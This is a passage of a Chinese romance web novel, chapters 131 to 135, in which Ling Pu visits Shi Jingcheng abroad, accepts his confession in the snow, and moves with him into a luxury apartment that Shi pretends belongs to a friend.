“那是成深野,别带上我。”时璟承随口,“说起他,等过两天可以带你去找他玩,他在下大雪的地方,你最想看的雪。” “哦。”凌蒲心不在焉。 手指抠了会儿,才开口:“刚刚那个是谁啊。” 好容易鼓足勇气说的话,话音还没落,就听上方传来时璟承很轻的笑声。 时璟承丢掉手里的东西,坐在凌蒲旁边,翘起二郎腿揶揄道:“终于问了?朋友问这个是不是有点越界?” “朋友不能问?”凌蒲生气,“大晚上的有人敲你的门还是个帅哥,朋友不能顺便问一嘴是谁?万一你作恶多端,作风不正,朋友说不定考虑要不要和你绝交。” “你怎么知道是帅哥?” “” “你见一个爱一个。” “时璟承,你倒打一耙。” “他是我同一堂课的同学。”眼看凌蒲被气得不行,时璟承及时解释,“住在附近,来拿资料。” “对你没意思?” 凌蒲眼睛眨两下。 时璟承垂下目光,看着凌蒲的睫毛:“不好说。” 两人的距离不知在什么时候靠得这么近,时璟承清晰地看到凌蒲的眉心倏然皱起,自己可能都没意识到,满满审视的意味。 “毕竟你也说了,我这么帅。” 时璟承挑起眉头。 凌蒲用挑剔的目光打量,确实如说的一般,不管在什么地方,都帅得很耀眼,表情带着丝戏谑的意味,明显在玩弄他。 偏不让如意,凌蒲嫌弃地摇摇头:“一般。” 时璟承扳起凌蒲的下巴,两人互相看了会儿,静谧的夜色安静流淌,月光和星光点缀其中,很偶尔才有喇叭或者不知名的虫鸣声,升温的空气仿佛变得稀薄,他们双双移开目光。 气氛有点微妙。 时璟承继续蹲下收拾行李,凌蒲继续恍惚,完全忘了之前未竟的对话。 不知过了多久,凌蒲大包小包的行李箱都被腾挪完毕,一串卡通人物小模型整齐地摆在桌子上,根据大小排列。 整个屋子和刚进来时变得有些不一样,似乎在色彩上丰富了很多。 “刚才那个叫David,曾经表达过那方面意思,但我拒绝了。身边大多熟人都以为我在国内已经结婚了,得感谢杜翊谦。他真是来拿资料的。” 凌蒲正躺在被子里,背对着时璟承,耳朵倒是留在外面,从细微的变化看出听到了时璟承的话。 他只冷静地“嗯”一声,淡淡:“你确实挺帅的。” 阴差阳错地完成了方才的对话,假装无事发生。 屋里只有一张床和一个被子,入睡时楚河汉界泾渭分明,第二天早上时璟承先醒,就感到怀里满满当当,睁开眼,看了许久,才用下巴蹭了蹭凌蒲的头发,低头亲了下。 凌蒲从国内来找他,实在是太不可思议。 原本认为无解的问题,竟然忽地硬生生有了第三种解法。靠着凌蒲一步一步,以一种肯定不会容易的方式,走到他面前,任何一句话都不用说。 别说这样,其实凌蒲只要在原地抬起手,勾一勾,或许时璟承就会理智全无地跑过去,但凌蒲笨笨的,好像永远不知道捷径在哪,也没意识到他有多么诱人。 凌蒲睡得很安心,脸颊贴着时璟承的颈窝,呼吸均匀。 第132章 凌蒲第二天一早就被时璟承拽出去。 他还没怎么睡醒,一边套外套一边问:“去哪儿啊。” “找成深野。” 时璟承自己倒衣着妥当,头发似乎精心打理过,乍一看挺随性,但每根发丝都有精准的弧度,在他们该待在的地方。 松散地系了条围巾,但和全身衣服色调完美搭配,一枚纯黑色的腕表闪闪发光。 朝兜里一揣,气质独一无二。 出门的时候邻居见了都上下打量一番,大称时璟承和往常不一样。 旁边凌蒲就睡眼惺忪地用清水撩了把脸刷了个牙,外套里面还是件卡通风格t恤,领口和外套领口相冲突,露出小片肌肤,他置身事外地杵在一边。 语言系统仿佛没激活,出神地望着时璟承和邻居对话,还在找字幕呢,两人似乎还提到了他。 时璟承回身看他一眼,拧眉,重新打开门,把他推回去。 拉到镜子前面,又用毛巾浸热水,拧了下,细致地给凌蒲擦脸。 凌蒲皮肤白皙细腻,脸颊有点未褪的婴儿肥,弧度柔和,温热的毛巾在上面摩擦过后,水润里带了点红。 时璟承撩起凌蒲额前的头发,在脑门上也擦擦。 凌蒲睁着眼睛,完全在这一意外举动的状况之外,不明白时璟承想做什么。 “闭眼睛。”时璟承说。 凌蒲抬了下眼睛,对上时璟承的目光,立刻“唰”地闭上。 睫毛颤动,被毛巾一视同仁地扫过。 除了毛巾之外,凌蒲还感受到了点指腹的触感,似乎是时璟承的指腹按在他脑门上,忽然,手表金属带在皮肤上磕了下,一阵冰凉传来。 他瞬间清醒,大脑接收到信号之后就本能地发出后撤指令,凌蒲退后,警惕地看着莫名反常的时璟承。 时璟承看着他表情,轻笑了声,无奈地把毛巾甩了甩:“把你擦干净,卖个好价钱。” “我洗过脸了。”凌蒲强调。 “知道。”时璟承挂上毛巾,从抽屉里拿出瓶面霜,“你洗得太草率。” 凌蒲警铃大作:“哪来的?” “抢的。” “?” “成深野那边温度零下,风很大,他叮嘱要买的。” 时璟承端详凌蒲的脸,恶趣味地在上面涂了五个小点儿,一一抹开,和小时候一样。 再把头发梳两下,把衣服拉链拉到最上,凌蒲跟着时璟承出门。 他完全不知道这趟旅程的内容。 “怎么突然要看成深野?你要让他作证吗?”凌蒲问。 “嗯。” 时璟承点头,揣着兜领先凌蒲半步。 凌蒲跟着他上了车,一路前行,直到目的地在机场停下,稀里糊涂地过了安检,来到候机室。 “你真要卖了我?” “嗯。” 见时璟承不愿意告诉他,凌蒲便没多问,被四周新奇的环境所吸引,东张西望起来。 和昨天一个人的体验完全不同,今天和时璟承待在一起,仿佛什么都不必思考,只用跟着走。 他觉没睡够,路上逐渐迷迷糊糊,闭上眼睛,隐约觉得有人替他把座椅放平,不时摸他的下巴,于是本能地皱眉抱住,把那只手固定在怀里,重新入睡。 再次睁眼,飞机已经开始滑行。 凌蒲朝窗外一看,完全惊呆。 只见白茫茫的大雪铺天盖地,在山谷间绵延不绝,远远望去像铺了层柔软的地毯。 倒映在瞳孔中,一片洁白。天上还纷纷扬扬地下着,棉絮般落在地毯里,显得愈发厚重。 是极其富有冲击力,让人终生难忘的纯净的白色。凌蒲上一次相关的记忆,还是在很小的时候。 就是这样的雪地,他始终难以忘记,似乎发生过很多美好的事情,那种愉快的感觉刻在深处,期待着复刻的场景。 “这是成深野在的地方吗?”凌蒲看着外面问。 随着飞机缓缓停下,音乐伴着播报声响起,乘客陆续起身收拾东西,周围变得嘈杂。 时璟承从行李里取出件黑色羽绒服,偏长一些,属于时璟承的风格。 他给凌蒲穿上,半蹲下身,将拉链从下面拉起。 凌蒲睡饱,懵逼地四处望一圈:“我就说怎么能躺平睡觉。时璟承,你这么奢侈地坐商务舱啊。” 冰凉的拉链抵在皮肤上,时璟承也随之站起来,低头道:“你这一觉睡得票价很值。” “回去和你AA。”凌蒲目光被外面的景色吸引。 看了一会儿,才发现除了他和时璟承之外,其他人好像都已经下了飞机。空乘人员走过来,和他说了串英文。 语速很快,凌蒲本能地看向时璟承。 谁知时璟承竟然假装在看手机,仿佛压根和他不相干。 于是只好说出蹩脚的“Sorry,uhpardon?” 乘务人员微笑一下,放慢语速又重复一遍,这回凌蒲抓了几个重点单词,大致听明白了,问他不下飞机是不是遇到了什么问题,需不需要帮助。 于是“No,thanks”几声,匆匆走出飞机,来到廊桥上,搓搓脸。 时璟承替他把帽子拉上,被凌蒲避开。 “刚刚为什么假装不认识我?”凌蒲问。 “看你口语怎么样,不是说的挺好的吗?”时璟承解释,“就是‘pardon’这个词偏正式,换点口语化的表达就更好了。大家都很友善,你大胆说。” 时璟承趁机揉了揉凌蒲的脑袋,才把帽子给他扣上。 因为准备充足,所有出来后并没有感到太寒冷。 “好久不见了。”成深野把他们带向停车场,语气激动,“在这个鸟不拉屎的地方待了这么久,终于看到熟人了!” 凌蒲观察成深野,发现他似乎憔悴了一些,气质比高中时沉稳。 “特儿,你瘦了。”凌蒲发自内心。 成深野几乎热泪盈眶,揽过凌蒲,拍拍肩膀:“粽,还是你挂念我。我真的很感动” “喂。”时璟承冷脸。 成深野回头看看,心领神会:“不好意思。忽视你了Zev,别吃凌蒲的醋,毕竟他初来乍到人生地不熟的,多照顾些。” 他难掩激动,完全没察觉到别的。 终于来到包的车前,时璟承把他朝副驾一推,迈上后座,和凌蒲坐到一起。 距离并不能阻挡成深野,他系好安全带之后依然努力地转过身:“我都没听说过你要到这边来交换,昨天夜里听时璟承说了还不敢相信,但谁让我们小时候是最好的朋友呢。” “你左前方有美女。”时璟承说。 成深野停下讲话,瞟一眼。 趁着这个间隙,时璟承轻轻捏了凌蒲一把,凌蒲转头,心领神会,于是和成深野强调:“不是的。我小时候最好的朋友是时璟承。” 成深野笑了:“凌蒲你不厚道。好吧,那时候你确实和Zev形影不离,但后来也是你先抛弃的他。不管了,我是单方面把你看做最好朋友的。” 凌蒲希望成深野不要再提这茬了,简直是在时璟承雷区上蹦迪。 他非常心虚地,有些坐立难安。 成深野还在加柴:“你当时朋友那么多,我记得是不是有个叫小虎的还是小狼的,他有一期来了之后你直接把Zev丢开,说那才是你最好的朋友。你就会甜言蜜语迷惑别人。” 凌蒲也恼了:“看你的美女去。” “什么美女啊。”成深野道,“我已经改邪归正了,要向时璟承一样冰清玉洁。” 司机一脚油门加速,车子行驶在公路上,路两边的积雪逐渐后退,向着最适合赏雪的地方驶去。 “时璟承冰清玉洁吗?”凌蒲吃惊。 “是啊,很多人追他的,他一直毫无波澜,女生私下里都说他可能是x冷淡呢。哦对,你和他一个班,不知道你有没有印象。” “我觉得他有点花心。” 凌蒲把当时看到的场景如实说出,有一个漂亮的女生在时璟承面前哭,而时璟承很冷淡。 成深野听了描述:“那你误会了,那是通过时璟承找我的。不过也正常,他经常被人误会。” 凌蒲没有再专注地听成深野接下来的话,只觉得心虚感越来越强,他竟然一直有在冤枉时璟承,就因为听了程益添的话,便给时璟承随意地扣帽子。 又随意地按照自己的想法,想要甩掉时璟承,这实在是太过分了,简直是再一次玩弄了时璟承的感情。 他愈发心虚,直至有点坐立难安。 怀疑时璟承把他带到这里,就是特地为了让成深野解释清楚,让他内疚。 凌蒲垂下睫毛,有点灰心丧气。 但转瞬之间,司机已经把他们送到了目的地。 成深野还在副驾驶没下来:“璟承说你特别想看雪,你们先去玩。我先替你们把行李运回我那,晚上司机来接你们。” 凌蒲便又下了车,目送车远去,转头看了一眼时璟承。 时璟承还维持着出门时很帅的造型,外面加了一件长羽绒服,更显得身形挺拔。 纷纷扬扬的雪花从从空中落下,搁浅在乌黑的头发上。 像是挑染了白色,很酷。 但随着越积越多,肩膀和头发上都有了薄薄一层雪花。 凌蒲视线稍稍模糊,才发现是睫毛上也融化了一片雪。 司机停的位置似乎很经典,处在一个稍高的小山坡上,向下能俯瞰纵横交错的雪景,漂亮得仿佛童话世界,和儿时的记忆一模一样。 “砰”,时璟承撑开一把伞,遮挡在两人上方。 凌蒲还是不太敢看他,心里盘算着要不要道歉,又忍不住地发散思维,自己怎么这么倒霉,明明不是故意的,但总是在冤枉时璟承。 正重新建立的友谊小舟可别又有裂痕。雪真漂亮,找到了记忆里那场快乐的雪。时璟承好帅。 “拿着。”时璟承把伞放到凌蒲手里。 凌蒲默默接过。 却忽然见时璟承在口袋里摸索一下,掏出一个丝绒的小盒子,有点眼熟—— “这是” 没等凌蒲进一步说什么,盒子已经被打开,里面是两枚并排的戒指,闪闪发亮,尤其是在雪地的折射下,散发出耀目的,七彩的光。 “你当时送我的礼物。”时璟承说,“还你。用不上。” 凌蒲讪讪,伸手想快速拿回来:“当时脑子确实抽了下,这东西哪有别人送的道理。我就先算的预算,然后又想留个性价比高还难忘的,你别在意。” 时璟承低头打开,拿出一枚。 握住凌蒲的手,给他套上:“改了下尺寸。” 凌蒲呆呆地看着,对方戴的是中指,不知道是什么意思。 “现在没别的含义。就是告诉你,我只会和你一起戴这种首饰,不然用不上。”时璟承垂眸,“凌蒲,和我在一起可以吗?很正式,1v1,只有你一个,当然你也只能有我,我们在一起。和其他任何关系都不一样。” 第133章 凌蒲的眼睛一眨不眨,看着时璟承,一片茫茫的震惊。 又落下,抬起手,看着中指上的戒指。 把其他指头收起来,只留下一个。又感觉手势不太好,陆续展开,端详。 这确实是他精心挑选的那对戒指之一,上面简约而不简单的纹路,当时第一眼看到就特别喜欢。不过并不是单纯地修改尺寸,而是把细节做了改动,看不出是其中的男戒还是女戒,刻了清晰地三个字母。 一看就不是一晚上能改出来的,和凌蒲的手指尺寸严丝合缝,不知是什么时候发生的魔法。 “‘Zev’是什么。哦,Zev。还好名字短,诶竟然就三个字母。” 凌蒲胡言乱语,尽量延长看戒指的时间,以便留时间给大脑思考。 直到雪落在皮肤上,冰凉的温度让他不得不把手揣进口袋。 抬起目光,是无法回避的时璟承,一把伞将两人笼罩在同一片小小的空间之下,心脏砰砰直跳。时璟承这人本来长得就无可挑剔,今天打扮过,优越的比例和身材一览无余,和在雪地拍大片似的。 “时璟承。”凌蒲索性放弃思考,实话实说,“我知道我喜欢你,而且可能是非常喜欢你,但没想好要不要在一起。” 时璟承稍稍拧眉。对于凌蒲来说,仿佛和小时候的记忆相重合,神态动作还有大雪都差不多。没想到真是等比例放大,比顾乾还帅。 把目光放在别处,才能继续说下去:“其实喜欢你是一件正常不过的事情,很多人都喜欢你。我不明白为什么偏偏选我呢?” “小时候上节目,我就知道我是最普通的一个,你是最不普通的,从没奢求你能记得我。 还有高中,听说你还记得我的时候我很吃惊,那时候开始也没想要怎么样,只觉得你要报复我,后来觉得你想就势玩弄我,我好像完全没有设想过你会是真的喜欢我。” 凌蒲问:“你身边有那么多优秀的人,他们有的我都没有,你为什么想和我在一起?” 没有像以前一样稀里糊涂地接受或拒绝,凌蒲问得很果断,这个问题他想过很久。 分开的时间里足够把很多事情都想得明白,或许是一个平凡的深夜,脑海里闯入一帧画面,忽然睡不着觉。 时璟承想了想,没有第一时间开口。 凌蒲有点小尴尬:“你不会要撤回吧。也行,我可以假装没听” “凌蒲,从我三岁多开始,我就觉得你是我一定要得到的东西,比任何东西都想要。”时璟承打断,“你说得对,你和我身边很多人都不一样,因为你鲜活,热烈,开朗,直白,你永远独一无二。” “虽然骗了我两次,但我觉得和你在一起的快乐要大于知道被骗之后的任何感受。你想骗就一直骗我。” 话语没什么犹豫,对于时璟承这个很要面子的人来说,不知道得说服自己多少次,才能这样破釜沉舟般地低头承认。 凌蒲安静一会儿,洁白的雪花簌簌落下,六边形的单片雪花一点点融入雪层,逐渐没了痕迹。一片又一片,所有痕迹被覆盖,重新变得平坦而宁和。 “我没骗你。”他踢了踢脚下的石子。 “你也别骗我。” 凌蒲说,“时璟承,我答应和你在一起。” 方才两人静止的时间比想象中久,凌蒲手上的伞变得很重,他答应过后才感到手酸,一边故作轻松,一边想着偷偷抖一抖,但刚一倾斜,风便把将其吹得四散,落在两人的肩膀和头发上,堆起厚厚一层。 凌蒲僵在原地。 时璟承笑了下,把凌蒲抱进怀里,在冰冰的脸颊上摸索,掸掉雪花,挪开口罩,吻了他一下。 相接时是冰凉的,渐渐才有了些温度。 霞光斜照一点,松树被风吹过,抖落出一点树干和针叶的颜色,仅被勾勒线条的画面像上了色。 * “你俩终于回来了?” 成深野坐在他豪宅里百无聊赖,听见动静回头,“璟承陪我打游戏。” 这里不是中心,买下一套房子轻轻松松,成深野一副富二代做派,房子里该有的都有。 “不打。”时璟承正用毛巾替凌蒲擦头发,把方才融化的雪擦净,再用吹风机的暖风烤干。 “他穿那么多,没事的。”成深野不满地抱怨,“再这样我也要吃凌蒲的醋了。你大老远来难道不是探望我的吗,我俩什么关系,多少年的好朋友。你俩又算什么关系,仇人还是同桌?” 成深野把手上的瓜子皮投掷进垃圾桶,对他和时璟承十几年的友情比较自信。 “要不要告诉他,我们什么关系。”时璟承碰了下凌蒲的耳廓。 凌蒲对成深野的话也不高兴,仿佛成深野和时璟承更亲密似的。要不是他小时候拼尽全力地在中间调和,这两人早就打起来了,真是吃水忘了挖井人。 淡淡:“时璟承是我的男朋友。比你好朋友更亲近。” “切,男朋” 成深野闭上嘴。 盯着两人,转向时璟承,见对方非但没恼,也一副特淡定的样子,不由又张开嘴:“啊?” “嗯。”时璟承波澜不惊,继续捣鼓凌蒲的头发。 “有姜茶吗?给凌蒲喝点。” 成深野一边去厨房,一边反应这个信息。 他第一反应是绝对不可能。因为时璟承以前提起小时候那个粽粽就恨不得一掌拍扁,现在怎么会发生这种事,根本不像好兄弟的行事风格。 简直堪比夺舍。 把姜茶端过去,假装不经意地问时璟承:“你忘记那时候的事情了?那些血海深仇。” 凌蒲皱起眉头:“Dexter,你不要挑拨离间。” 成深野沉思:“本来就是,你当年招呼都不打一声就走,害得我们Zev多伤心。还有高中,怎么也突然断联。虽然你长得还行,但我确实没想到Zev冰清玉洁守身如玉,竟然倒在花心粽粽身上。” “我不花心。” “别把人都想得和你一样。”时璟承揽过凌蒲,“只是通知你一下,慢慢接受。” 成深野便不再置喙,当时璟承用类似斩钉截铁语气说话时,他总是莫名地无条件服从。但还是相当震惊,宁可相信这是时璟承又一复仇手段。 真可怕。 “你们房间在楼上,第二间和第三间,随意吧。” 成深野说完,继续去沙发上思考。 凌蒲和时璟承一起上楼,先来到第二间,里面放了个小粽子摆件,隔壁第三间则放着时璟承带来的一点行李,给他们分别安排了房间。 房间宽敞明亮,视野很好,能看到外面优美的雪中山景。 时璟承把凌蒲安顿好,转身在窗边随手擦着自己的头发,和景色相映成趣。 凌蒲小口喝着手里的姜茶,眼睛随着时璟承走。 他喝了会儿,忽然想起来事情:“对了时璟承,刚刚路费多少,我要和你AA。” 说着从口袋里掏出个小本儿,显然准备已久。 “为什么?”时璟承问。 “我高中的时候想到的。要和你取得平等的人格,首先就得在金钱上分开。”凌蒲有着详细而绝妙的计划,“以后花了什么钱,你都要提前告诉我,我们一半对一半。你也省着点,我只参加我付得起的活动。” “那等八十岁才能坐上带按摩功能的车。”时璟承不太同意。 凌蒲摇头:“我以前坐公交也坐得很快乐。” “我不快乐。” “那以后你坐按摩车,我坐公交,终点会和。”凌蒲坚持。 时璟承毛巾一甩:“凌蒲,给你花钱是我的爱好。” “别骗人了,哪有这种爱好。” “像你偷偷给那只猫喂零食和买玩具一样。”时璟承淡淡,“比自己花愉快。” “时璟承你监视我。” 凌蒲之前三天两头就去别墅找陈叔见猫,自以为神不知鬼不觉,没想到时璟承竟然知道。 时璟承俯身,在凌蒲脑门上亲了一下:“你和猫都很可爱,蹲在地上圆圆的。像两个蘑菇。” 浅谈的雪松味弥漫在空气中,夹杂着衣物上的冷气,凌蒲分不清是时璟承自带的,还是刚才外面的场景过于刻骨铭心。 他不由仰起脑袋,鼻梁擦过时璟承的唇,顺利地用柔软的嘴唇贴了贴。 虽然仍有点冰,但暖洋洋的温度很快占据主导。 凌蒲摸索着把姜茶搁到一边,用发烫的手心去揽住时璟承的脖颈,投入地亲吻,感到很幸福。 不知过了多久,他一边喘气,一边含含糊糊道:“时璟承,你为什么不早点告诉我要认真在一起,让我一直蒙在鼓里。之前都白难过了,你不知道我有多难过。” 时璟承用指腹擦着凌蒲的下巴:“我怕像小时候那样。自作多情。” “你没有自作多情。”凌蒲立刻说,“不过我来之前也害怕这一点。” “后来你站在我面前。我可以确定我或许与众不同。” 凌蒲笑了下:“时璟承,你怎么这么没有自信。你可是时璟承欸,站在哪里都与众不同,有什么好担心的。” 时璟承忽然咬着凌蒲的耳朵:“包括你心里吗?” 凌蒲毫无防备地抖了下,抿住唇,推开时璟承。 “你现在不是知道了吗。”他带着泛红晕的脸颊坐正,用严肃的口吻道,“不要讲这些了。你明天回去上课,我也要做一些开始交换的准备。” 话题转变迅速而充满正能量,时璟承笑了声,配合:“知道了。” 第134章 回去之后,坚持要和时璟承玩AA。 他之前有一天深夜睡不着,随便打开个视频助眠,结果里面情感类节目的老头正在激情分析,听了两小时之后,凌蒲便莫名觉得开悟。 “上次的订票记录给我看看。”凌蒲搬了个凳子,坐在看书的时璟承旁边,把额头贴在时璟承肩膀后面等待。 时璟承把书翻过一页:“凌蒲,我没觉得我们不平等。甚至有时候你凌驾在我之上。” “让我看看。” 凌蒲上手,见时璟承没反应,大着胆子从他口袋里摸出手机。 进行一步停一下,暗中观察。 终于完全握在手里,还是怂了:“能看吗?” “有密码。看你本事。” 时璟承又翻过一页,拿起铅笔,在字句上划线批注,笔尖划过纸张,在尾巴留下一个小洞。 他放下笔。 凌蒲想了想,侧过身,偷偷输一串数字,屏幕一下子就开了。 他都没有反应过来,又急忙小心捂住,假装继续沉思。 时璟承没抬头:“你这么自信,第一下就试自己生日。” “诶呀,我试的是端午节。”凌蒲辩解,“传统佳节。还是你帮我找。” “随便看吧。” 得到时璟承的首肯,凌蒲在手机桌面上停留,没有草率地乱点,而是认真观察一阵,准确地戳了订票软件。 英文阅读并不难,看到票价时瞪圆眼睛:“我说座椅怎么能放平,还那么舒服。原来你订的商务舱啊。” 他犹豫一下,还是拿起自己的手机,给时璟承转过去一笔钱,再用时璟承的手机接收。 “以后不要浪费了,路途那么短。” “那凌蒲想睡觉怎么办?” “不睡了。”凌蒲果断。 他把时璟承的手机搁在桌面上,独自跑到角落捣鼓一番。 时璟承余光瞥到凌蒲的背影,推测他应该是在清点小金库资产,而且仿佛愁云笼罩,显然金库余额不太乐观。 他没多在意,早就习惯了凌蒲的心血来潮,一天一个想法,新鲜劲儿过去就好了。 于是放下书:“这样,凌蒲。你先欠着,以后慢慢还。我先当你的债权人,等还清了再获得自由。” 他走过去就看到和摆摊似的卡和现金,忍不住揉了揉凌蒲的头发,摸起来半干,应该是刚才洗了澡。 于是又低头在脖颈嗅一下:“你用的是那个牛奶的沐浴露?” “嗯。”凌蒲想起来问,“你特地给我买的啊。” “早放在那。” “哦。” 凌蒲不说话了,耳朵变得有点红。那个牛奶沐浴露是他一直都很喜欢的牌子,味道淡淡的,从小用到大。 没来得及深入思考时璟承一直放一瓶在浴室的深意,温热的唇和高挺的鼻梁擦在颈部皮肤上,触感有些异样。 只有高中的时候时璟承对他做过这样的事情,凌蒲想起当时。 想到哪问到哪:“时璟承,你高中为什么总那么克制,不会真是什么冷淡吧。” 时璟承没有回答他,而是继续低头吻着,把手探进凌蒲的衣服。 凌蒲有点慌,希望能够撤回刚才那句。 “那时候我不确定。”时璟承说,“现在我确定,你以后都是我的。” 凌蒲侧过脸,看到时璟承朝他挑了下眉。耳边是偏重的呼吸声,配上这张脸就挺性感。 于是半推半就,不过和极力表现出来的淡定不同,裸露的腰部皮肤在空气中忍不住微微发抖。 “冷吗?”时璟承问。 凌蒲有点打退堂鼓,慌不迭地点头。 “一会儿就热了。”时璟承说。 “” 凌蒲的衣服穿得一层又一层,感到像粽子在被剥开粽叶的过程,好容易完全光溜溜,忽然外面楼道传来“咳咳”两声,还有跺脚声,邻居在抖着钥匙开门。 把凌蒲吓得瞬间清醒,裹上被子,一动不动。 时璟承不知什么时候已经脱了外套,留里面一件黑色t恤,领口被扯得松散。他把碎发朝后捋了把,垂眸看着那个被子筒,拍了拍。 凌蒲不动。 时璟承笑了下:“不打算真干什么,又没东西。” “你这没有吗?”凌蒲不信。 “我要是有你不会把这炸了?” 凌蒲不说话。 半晌后手指抠了抠被子,小声解释:“隔音不好,不要在这。” * 天色蒙蒙亮,杜翊谦赶着最早的一班飞机回学校。 其实他平常对吃瓜并不那么感兴趣,世界上每天每个地方都在发生一些新鲜事。但能让时璟承单相思那么久的曲折感情路,不是一般的有意思。 他一直对时璟承有种淡淡的好奇,这人各方面没什么可挑剔的,虽然有钱但也不怎么爱花。平常住学生公寓,步行去学校,低调得神秘,而越神秘越让人好奇。 在发现时璟承苦恋不得,悲情地飞回国连人家面都见不上,他相当的兴奋。这次单相思对象来玩,还不知又是怎么个内心波涛万丈,表面波澜不惊。 偏偏在线上发消息时璟承总是爱理不理,杜翊谦玩完后便第一时间飞速赶回。 到学生公寓敲了一阵门,才收到时璟承的消息。 【今天搬家。】 【/地址】 杜翊谦看了会儿,隐约觉得有什么不同寻常的事要发生。 当按地址来到某中心区时,他看着眼前奢华的布景,严密的门卫和防控,心想时少是不是不打算装了。 楼下一辆车正在朝上搬东西,杜翊谦跟着其中一个搬运工人进电梯,出了门就是大家忙忙碌碌的目的地。 一整面落地窗倒映着天际线,阳光洒在清澈的河流尽头,城市被染成片流动的金色。市中心的公园像块绿色地毯,景色美得令人惊叹。 室内是高级灰调,胡桃木质地板看起来特温润,空间极富设计感。 时璟承把钥匙随手丢进抽屉,朝杜翊谦打个招呼。 杜翊谦忘了自己有没有张开下巴:“靠,什么情况这是。” “下午凌蒲过来,你就说这里是你的闲置房产,免费给我住。” “我说这么大阵仗,敢情博美人一笑呢。”杜翊谦四处看了圈,“你真是下血本了。为什么不告诉他?” 时璟承没说话。 他开始只以为凌蒲那心血来潮的AA只是说说而已,谁曾想凌蒲来真的。数了钱之后发现不够,毅然决然地兼职去了。 通过学校老师在往届学长学姐那做帮手,挺可靠,让时璟承没有什么挑刺的理由。 “不会还在追吧?”杜翊谦断定时璟承还没追上。 时璟承懒得和他多说,这人没什么道德底线,别来恶作剧来抢他的凌蒲。于是只说:“你别管。” “行吧。是我免费给你住的,这让我在嫂子心中的形象更光辉了,何乐而不为。” 杜翊谦欣然接受。 他揣着兜这儿摸摸,那儿看看,赞不绝口:“比我现在那里好多了,回去搜搜还有没有空的能租。离我嫂子近点,万一你还追不上,我近水楼台,让你看看哥纵横情场这么多年,是怎么混的。” “滚远点。”时璟承淡淡。 杜翊谦愣一下,笑起来:“你竟然还会说脏话。行啊时璟承,从机器人恢复成人类模式了。” 他赖在这儿,非要亲眼再看时璟承吃瘪,有种莫名的愉快。 搬家工人把整齐的纸箱码在房里,戴上手套,把里面的物品一一复原。 有箱色彩丰富的被连着纸箱摆在旁边,被特定叮嘱了不要动,这箱包装比别的精心,胶带都多绕了两层。 不知过了多久,铃声匆匆忙忙地响。时璟承摸出手机,看着凌蒲的来电,嘴角弯起浅淡的弧度。 “喂。” “喂,时璟承。不好了,我们家被人偷了!” 第135章 凌蒲依然保持着开门的姿势,面对空空荡荡的屋里,脑海中闪现过很多在国内时看到的新闻。 有人到他们家零元购了。 床和单人沙发这些大物件都没怎么动,本来学生公寓的陈设就挺简单。但大多数物品都被洗劫一空,就剩下无关紧要的。 “丢什么了?”那边时璟承问。 “我桌子上那一堆收藏。还有衣服,好像都没了。不过你人没事吧?人没事就还好。”凌蒲忧伤。 “等我一下,我去接你。” “好几个是绝版的。真倒霉。” 时璟承真是没想到凌蒲的脑回路会朝这个方向拐,一直到接他上了车,还在念叨着宝贵的积攒。 “我们得去报案的。”凌蒲皱眉,“到时候你用英文陈述一下。” “现在去。不过怎么会偷的这么干净?”时璟承顺着问。 凌蒲对于时璟承到现在还这么淡定感到意外:“你没见过那些案例吗,只要把门撬开,大家就一起瓜分。亏我今天累了一天。” “哦,瓜分。包括你的小熊睡衣?” “我的小熊图案睡衣怎么了?销量很高好吗,很多人都会喜欢,你不喜欢我的小熊图案睡衣吗?” 时璟承停顿一秒,脑海中可能浮现某个画面,他转头看窗外,又转回来,肯定道:“是喜欢。你穿上它显得挺有肉。” 车子一路飞驰,稳稳当当地停在一个车位上,凌蒲看着淡定的时璟承,隐约感到他有什么别的计划。 显得刚才的咋呼有点可笑,手指微微蜷缩。 于是开始一言不发,静观其变。直到一个无敌豪华的大平层出现在他面前,就像是电视剧里那种,不管从陈设还是从视野,没见过比这更高级的。 似乎霸总应该坐在落地窗前的真皮椅子上,摇晃着红酒杯,像极了小时候的梦境。 再一转脸,发现时璟承和这个想象很配。 他愣愣的:“时璟承,你搬家了。” “是我们搬家了。” 时璟承带他深入参观。 主卧是张柔软宽阔的大床,床单竟然是凌蒲喜欢的风格,旁边小点的卧室也有床,整体风格冷淡随意一些,没那么精心布置。 “以后这个主卧是你的房间。”时璟承说。 凌蒲愣了又愣,看向时璟承的眼神逐渐充满纯粹的崇拜,和有星星似的。 时璟承在看到这个眼神的时刻觉得已然值得。经济学里有个叫“帕累托最优”的词,讲的是某种最优配置,现在凌蒲这一个眼神,就可以抵过找房子,搬东西等一切精神和物质上的付出。 凌蒲朝着他那一桌宝贝手办和模型走过去,不仅没有丢失,每个还都住上了透明玻璃罩的单间,清点数目之后发现还多了一个。 在心里点名,发现多出来的是个限量版同系列,作为新加入凌蒲这个大家庭的成员。 凌蒲转身扑进时璟承怀里:“你也太好了!不过我得欠你多少了。” 时璟承觉得回报要大于支出,非常划算。他亲了亲凌蒲:“朋友的房子,晚上和他一起吃个饭。” 凌蒲毫不犹豫地点头:“那是要吃个饭,愿意租给你简直是很大的人情。” 他嗅了嗅身上的衣服:“我洗个澡换个衣服。你不知道我有个学姐竟然开了一家中餐馆,我获得了一项端盘子的工作。本来是洗碗的,学姐说我长得帅,给我升级了。” 时璟承跟进房间里:“什么学姐?” “就是我们学校的,和导员认识。这不是她的主业,主要是家里人在管。” 凌蒲拉开衣柜,看到挂得整整齐齐的衣服,更坚定今晚不能给时璟承丢人,认认真真地挑选一番,问时璟承:“你觉得我穿哪件?” “身上这件就挺好。”时璟承扯了下凌蒲的卫衣带子。 “那不行。” 凌蒲在钱芷的渲染下也是颇有穿搭嗅觉,只是平常不轻易使用。他给自己搭了一套,准备换上,双手放在衣服下摆,忽然停顿,凝视时璟承。 时璟承和他距离很近,单手撑着柜子,微微低头,把凌蒲困在这个小小的区域。 能闻到对方身上浅淡的清爽的味道,是和牛奶沐浴露放在一排的,属于另一种沐浴露和洗发水。 凌蒲睁圆眼睛,双手攥着自己的卫衣下方,没露出一点肌肤。 时璟承垂眸看他,若无其事。 “回避一下时璟承,我要换衣服。”凌蒲只得说。 “换。” 时璟承不为所动,甚至若有若无地挑了下眉。 距离逐渐靠得更近,气息继续笼罩,让凌蒲的耳根发烫。 他伸出指头抵住时璟承:“回避。” “不回。” “那我真脱了。” “凌蒲,你高中的时候都在我面前脱衣服,现在怎么还不好意思了。”时璟承故意道,“当时别是故意的。” 凌蒲果然整个耳朵瞬间红透,是激动的:“喂,你不要颠倒黑白。那时候我根本没有这个概念,大家都是男的有什么,我还在程益添面前换衣服呢。才不是不好意思。” “在他面前换?那我不行?” “他又不会看我。” 